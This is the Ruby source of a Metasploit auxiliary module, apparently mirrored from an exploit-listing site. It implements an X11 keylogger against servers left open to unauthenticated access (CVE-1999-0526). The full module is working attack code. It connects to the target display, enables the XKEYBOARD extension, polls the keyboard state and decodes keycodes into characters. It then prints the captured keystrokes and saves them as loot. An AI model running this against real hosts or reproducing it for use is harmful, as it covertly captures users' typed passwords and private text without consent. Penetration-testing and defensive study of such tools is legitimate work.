Share
## https://sploitus.com/exploit?id=MSF:AUXILIARY-GATHER-X11_KEYBOARD_SPY-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Exploit::Remote::Tcp
  include Rex::Proto::X11
  include Msf::Auxiliary::Report
  include Msf::Exploit::Remote::X11

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'X11 Keylogger',
        'Description' => %q{
          This module binds to an open X11 host to log keystrokes. This is a fairly
          close copy of the old xspy c program which has been on Kali for a long time.
          The module works by connecting to the X11 session, creating a background
          window, binding a keyboard to it and creating a notification alert when a key
          is pressed.

          One of the major limitations of xspy, and thus this module, is that it polls
          at a very fast rate, faster than a key being pressed is released (especially before
          the repeat delay is hit). To combat printing multiple characters for a single key
          press, repeat characters arent printed when typed in a very fast manor. This is also
          an imperfect keylogger in that keystrokes arent stored and forwarded but status
          displayed at poll time. Keys may be repeated or missing.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die', # MSF module, X11 libs
          'nir tzachar' # original file? https://gitlab.com/kalilinux/packages/xspy/-/blob/kali/master/Xspy.c?ref_type=heads
        ],
        'References' => [
          [ 'URL', 'https://www.kali.org/tools/xspy/'],
          [ 'CVE', '1999-0526']
        ],
        'DefaultOptions' => {
          'RPORT' => 6000
        },
        'DisclosureDate' => '1997-07-01', # CVE date, but likely older
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [],
          'SideEffects' => [],
          'AKA' => ['xspy'],
          'RelatedModules' => [
            'auxiliary/scanner/x11/open_x11',
          ]
        }
      )
    )
    register_options [
      OptInt.new('LISTENER_TIMEOUT', [ true, 'The maximum number of seconds to keylog', 600 ]), # 10 minutes
      OptInt.new('PRINTERVAL', [ true, 'The interval to print keylogs in seconds', 60 ]) # 1 minutes
    ]
  end

  def check
    vprint_status('Establishing TCP Connection')
    connect # tcp connection establish
    vprint_status('Attempting X11 connection')
    connection = x11_connect

    if connection.nil?
      return Exploit::CheckCode::Safe('No connection, or bad X11 response received')
    end

    if connection.header.success == 1
      return Exploit::CheckCode::Appears('Successfully established X11 connection')
    end

    Exploit::CheckCode::Safe('X11 connection was not successful')
  end

  # This function takes map data and converts it to a hashtable so that
  # we can translate from x11 key press data to the actual key on the
  # keyboard which was pressed.
  # https://stackoverflow.com/a/28258750 has a good description of keysyms vs keycodes
  def build_sym_key_map(map_data)
    keysym_index = 0
    key_map = {}
    (map_data.min_key_code..map_data.max_key_code).each do |key_code|
      syms = map_data.key_map_array[keysym_index]
      if syms.n_syms == 0
        key_map[key_code] = nil
      else
        sym = map_data.key_map_array[keysym_index].key_sym_array[0]
        begin
          character = sym.chr
          character = '[space]' if character == ' '
        rescue RangeError
          if X11KEYSYM_HASH.key? sym
            character = X11KEYSYM_HASH[sym]
          else
            character = "Unknown key sym: #{sym}"
          end
        end
        key_map[key_code] = character
        # leaving in for debugging purposes
        # puts "i: #{key_code}, keysym_str: #{character}, keysym: #{keysym_index}"
      end
      keysym_index += 1
    end
    key_map
  end

  # TBH still don't really understand exactly how this works, but it does.
  def translate_keystroke(bit_array_of_keystrokes, key_map, last_key_press_array)
    # Iterate through each byte of keyboard state
    bit_array_of_keystrokes.each_with_index do |keyboard_state_byte, byte_index|
      next if last_key_press_array[byte_index] == keyboard_state_byte

      # Check each bit within the byte
      8.times do |j|
        next unless keyboard_state_byte & (1 << j) != 0

        # Key at position (i*8 + j) is pressed
        keycode = byte_index * 8 + j

        keysym = key_map[keycode]

        @keylogger_log += keysym
        @keylogger_print_buffer += keysym
      end
    end
  end

  def run
    query_extension_call_counter = 0
    @keylogger_log = ''
    @keylogger_print_buffer = ''

    vprint_status('Establishing TCP Connection')
    begin
      connect # tcp connection establish
    rescue Rex::ConnectionError
      fail_with(Msf::Module::Failure::Unreachable, 'Connection failed')
    end
    vprint_status('[1/9] Establishing X11 connection')
    connection = x11_connect

    fail_with(Msf::Module::Failure::UnexpectedReply, 'Port connected, but no response to X11 connection attempt') if connection.nil?

    if connection.header.success == 1
      x11_print_connection_info(connection, datastore['RHOST'], rport)
    else
      fail_with(Msf::Module::Failure::UnexpectedReply, 'X11 connection not successful')
    end

    vprint_status('[2/9] Checking on BIG-REQUESTS extension')
    big_requests_plugin = x11_query_extension('BIG-REQUESTS', query_extension_call_counter)
    fail_with(Msf::Module::Failure::UnexpectedReply, 'Unable to process response') if big_requests_plugin.nil?
    if big_requests_plugin.present == 1
      print_good("  Extension BIG-REQUESTS is present with id #{big_requests_plugin.major_opcode}")
    else
      fail_with(Msf::Module::Failure::UnexpectedReply, 'Extension BIG-REQUESTS is NOT present')
    end

    vprint_status('[3/9] Enabling BIG-REQUESTS')
    toggle = x11_toggle_extension(big_requests_plugin.major_opcode)
    fail_with(Msf::Module::Failure::UnexpectedReply, 'Unable to enable extension') if toggle.nil?

    vprint_status('[4/9] Creating new graphical context')
    gc_header = X11RequestHeader.new(opcode: 55)
    gc_body = X11CreateGraphicalContextRequestBody.new(
      cid: connection.body.resource_id_base,
      drawable: connection.body.screen_root,
      gc_value_mask_background: 1
    )

    gp_header = X11RequestHeader.new(opcode: 20)
    gp_body = X11GetPropertyRequestBody.new(window: connection.body.screen_root)

    sock.put(gc_header.to_binary_s +
             gc_body.to_binary_s +
             gp_header.to_binary_s +
             gp_body.to_binary_s) # not sure why we also do a get property, but it emulates how the library works

    # nothing valuable in the response, just make sure we read it in to
    # confirm its expected data and not leave the response on the socket
    x11_read_response(X11GetPropertyResponse)

    vprint_status('[5/9] Checking on XKEYBOARD extension')
    xkeyboard_plugin = x11_query_extension('XKEYBOARD', query_extension_call_counter)
    fail_with(Msf::Module::Failure::UnexpectedReply, 'Unable to process response') if xkeyboard_plugin.nil?
    if xkeyboard_plugin.present == 1
      print_good("  Extension XKEYBOARD is present with id #{xkeyboard_plugin.major_opcode}")
    else
      fail_with(Msf::Module::Failure::UnexpectedReply, 'Extension XKEYBOARD is NOT present')
    end

    vprint_status('[6/9] Enabling XKEYBOARD')
    toggle = x11_toggle_extension(xkeyboard_plugin.major_opcode, wanted_major: 1)
    fail_with(Msf::Module::Failure::UnexpectedReply, 'Unable to enable extension') if toggle.nil?

    vprint_status('[7/9] Requesting XKEYBOARD map')
    sock.put(X11GetMapRequest.new(xkeyboard_id: xkeyboard_plugin.major_opcode,
                                  full_key_types: 1,
                                  full_key_syms: 1,
                                  full_modifier_map: 1).to_binary_s)

    map_data = x11_read_response(X11GetMapResponse)

    vprint_status('[8/9] Enabling notification on keyboard and map')
    sock.put(X11SelectEvents.new(xkeyboard_id: xkeyboard_plugin.major_opcode,
                                 affect_which_new_keyboard_notify: 1,
                                 affect_new_keyboard_key_codes: 1,
                                 affect_new_keyboard_device_id: 1).to_binary_s +
             X11SelectEvents.new(xkeyboard_id: xkeyboard_plugin.major_opcode,
                                 affect_which_map_notify: 1,
                                 affect_map_key_types: 1,
                                 affect_map_key_syms: 1,
                                 affect_map_modifier_map: 1,
                                 map_key_types: 1,
                                 map_key_syms: 1,
                                 map_modifier_map: 1).to_binary_s) # not sure what this does, but emulates x11 c library
    # this request doesn't receive any response data

    vprint_status('[9/9] Creating local keyboard map')
    key_map = build_sym_key_map(map_data)
    last_key_press_array = Array.new(32, 0)
    empty = Array.new(32, 0)

    print_good('All setup, watching for keystrokes')
    # loop mechanics stolen from exploit/multi/handler
    stime = Process.clock_gettime(Process::CLOCK_MONOTONIC)
    print_timer = Process.clock_gettime(Process::CLOCK_MONOTONIC)
    timeout = datastore['LISTENER_TIMEOUT'].to_i
    printerval = datastore['PRINTERVAL'].to_i
    begin
      loop do
        # sleep 1
        break if timeout > 0 && (stime + timeout < Process.clock_gettime(Process::CLOCK_MONOTONIC))

        sock.put(X11QueryKeyMapRequest.new.to_binary_s)
        query_key_map_response = x11_read_response(X11QueryKeyMapResponse)
        bit_array_of_keystrokes = query_key_map_response.data
        # we poll FAR quicker than a normal key press, so we need to filter repeats
        unless bit_array_of_keystrokes == last_key_press_array # skip repeats
          translate_keystroke(bit_array_of_keystrokes, key_map, last_key_press_array) unless bit_array_of_keystrokes == empty
          last_key_press_array = bit_array_of_keystrokes
        end

        next unless print_timer + printerval < Time.now.to_f

        print_timer = Time.now.to_f
        if @keylogger_print_buffer.empty?
          print_bad('No X11 key presses observed')
          next
        end
        print_good("X11 Key presses observed: #{@keylogger_print_buffer}")
        @keylogger_print_buffer = ''
      end
    rescue EOFError
      print_error('Connection closed by remote host')
    ensure
      vprint_status('Closing X11 connection')
      sock.put(Rex::Proto::X11::X11RequestHeader.new(opcode: 60).to_binary_s +
        X11FreeGraphicalContextRequestBody.new(gc: connection.body.resource_id_base).to_binary_s +
        Rex::Proto::X11::X11RequestHeader.new(opcode: 43).to_binary_s +
        X11GetInputFocusRequestBody.new.to_binary_s)
      disconnect

      if @keylogger_print_buffer.empty?
        print_bad('No X11 key presses observed')
      else
        print_good("X11 Key presses observed: #{@keylogger_print_buffer}")
      end

      unless @keylogger_log == ''
        loot_path = store_loot(
          'x11.keylogger',
          'text/plain',
          datastore['rhost'],
          @keylogger_log,
          'xspy.txt',
          'Keylogger content from X11'
        )

        print_good("Logged keys stored to: #{loot_path}")
      end
    end
  end
end